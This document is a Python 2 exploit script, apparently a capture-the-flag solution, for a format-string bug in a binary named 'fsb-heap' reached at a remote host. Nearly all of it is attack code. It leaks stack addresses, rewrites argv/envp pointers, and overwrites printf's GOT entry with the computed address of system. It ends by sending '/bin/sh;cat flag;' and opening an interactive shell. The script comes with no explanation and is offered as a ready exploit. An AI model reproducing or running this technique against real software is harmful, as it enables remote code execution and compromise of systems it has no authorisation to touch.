
import struct
import pwnbox

p = lambda x : struct.pack("<I", x)
up = lambda x : struct.unpack("<I", x)[0]

printf_got = 0x0804a00c
printf_got1 = 0x0804
printf_got2 = 0xa00c
printf_got2_ = 0xa00e


fgets_got = 0x0804A020
fgets_got1 = 0x0804
fgets_got2 = 0xa020

def main():
	pipe = pwnbox.pipe.SocketPipe("remote.goatskin.xyz",50005)
	#pipe = pwnbox.pipe.ProcessPipe("./fsb-heap")

	payload = "%13$xGGaon%14$xGGaon%13$sGGaon%14$s\n"
	pipe.write(payload)
	argv_ptr, envp_ptr, argv_off, envp_off = pipe.read_line().split("GGaon")
	argv_ptr = hex(int(argv_ptr,16))[:-1]
	argv_off = hex(up(argv_off[:4]))[:-1]
	envp_ptr = hex(int(envp_ptr,16))[:-1]
	envp_off = hex(up(envp_off[:4]))[:-1]
	print argv_ptr, envp_ptr, argv_off, envp_off

	if int(argv_off[-2:],16) % 4 != 0:
		update = int(argv_off[-2:],16)/4*4
		argv_off = argv_off[:-2]+hex(update)[-2:]
		
		payload = "%"+str(update)+"c%13$hhn\n"
		pipe.write(payload)
		pipe.read_line()
		print argv_off

	if int(envp_off[-2:],16) % 4 != 0:
		update = int(envp_off[-2:],16)/4*4
		envp_off = envp_off[:-2]+hex(update)[-2:]
		
		payload = "%"+str(update)+"c%14$hhn\n"
		pipe.write(payload)
		pipe.read_line()
		print envp_off

	inc_digit = int(argv_off[-2:],16)+2
	real_digit = int(argv_off[-2:],16)

	payload1 = "%"+str(printf_got2)+"c%49$hn"
	
	p2len = inc_digit - (printf_got2 & 0xff)
	if p2len < 0:
		p2len += 0x100
	payload2 = "%"+str(p2len)+"c%13$hhn\n"
	payload1 = payload1 + payload2
	pipe.write(payload1)
	pipe.read_line()

	payload3 = "%"+str(printf_got1)+"c%49$hn"

	p4len = real_digit - (printf_got1 & 0xff)
	if p4len < 0:
		p4len += 0x100
	payload4 = "%"+str(p4len)+"c%13$hhn\n"

	payload3 = payload3 + payload4
	pipe.write(payload3)
	pipe.read_line()

	inc_digit = int(envp_off[-2:],16)+2
	real_digit = int(envp_off[-2:],16)

	payload1 = "%"+str(printf_got2_)+"c%51$hn"
	
	p2len = inc_digit - (printf_got2_ & 0xff)
	if p2len < 0:
		p2len += 0x100
	payload2 = "%"+str(p2len)+"c%14$hhn\n"
	payload1 = payload1 + payload2
	pipe.write(payload1)
	pipe.read_line()

	payload3 = "%"+str(printf_got1)+"c%51$hn"

	p4len = real_digit - (printf_got1 & 0xff)
	if p4len < 0:
		p4len += 0x100
	payload4 = "%"+str(p4len)+"c%14$hhn\n"

	payload3 = payload3 + payload4
	pipe.write(payload3)
	pipe.read_line()
	
	arglen = 49+(int(argv_off,16)-int(argv_ptr,16))/4
	envlen = 51+(int(envp_off,16)-int(envp_ptr,16))/4
	payload = "%"+str(arglen)+"$s\n"
	pipe.write(payload)
	printf_off = hex(up(pipe.read_line()[:4]))[:-1]
	print printf_off
	
	"""
	payload = "%"+str(envlen)+"$x\n"
	pipe.write(payload)
	env = pipe.read_line()
	print env
	"""

	system_off = hex(int(printf_off,16)-0xefd0)[:-1]
	system_off2 = int(system_off[-4:],16)
	system_off1 = int(system_off[2:-4],16)

	inc = system_off1 - (system_off2 & 0xffff)
	if inc < 0:
		inc += 0x10000
	payload = "%"+str(system_off2)+"c%"+str(arglen)+"$hn%"+str(inc)+"c%"+str(envlen)+"$hn\n"
	pipe.write(payload)
	pipe.read_line()

	pipe.write("/bin/sh;cat flag;\n")
	"""
	inc_digit = int(argv_off[-2:],16)+2
	real_digit = int(argv_off[-2:],16)

	payload1 = "%"+str(fgets_got2)+"c%49$hn"
	
	p2len = inc_digit - (fgets_got2 & 0xff)
	if p2len < 0:
		p2len += 0x100
	payload2 = "%"+str(p2len)+"c%13$hhn\n"
	payload1 = payload1 + payload2
	pipe.write(payload1)
	pipe.read_line()

	payload3 = "%"+str(fgets_got1)+"c%49$hn"

	p4len = real_digit - (fgets_got1 & 0xff)
	if p4len < 0:
		p4len += 0x100
	payload4 = "%"+str(p4len)+"c%13$hhn\n"

	payload3 = payload3 + payload4
	pipe.write(payload3)
	pipe.read_line()

	payload = "%"+str(49+(int(argv_off,16)-int(argv_ptr,16))/4)+"$s\n"
	pipe.write(payload)
	result = hex(up(pipe.read_line()[:4]))[:-1]
	print result
	"""

	pipe.interact()
	pipe.close()

if __name__ == "__main__":
	main()
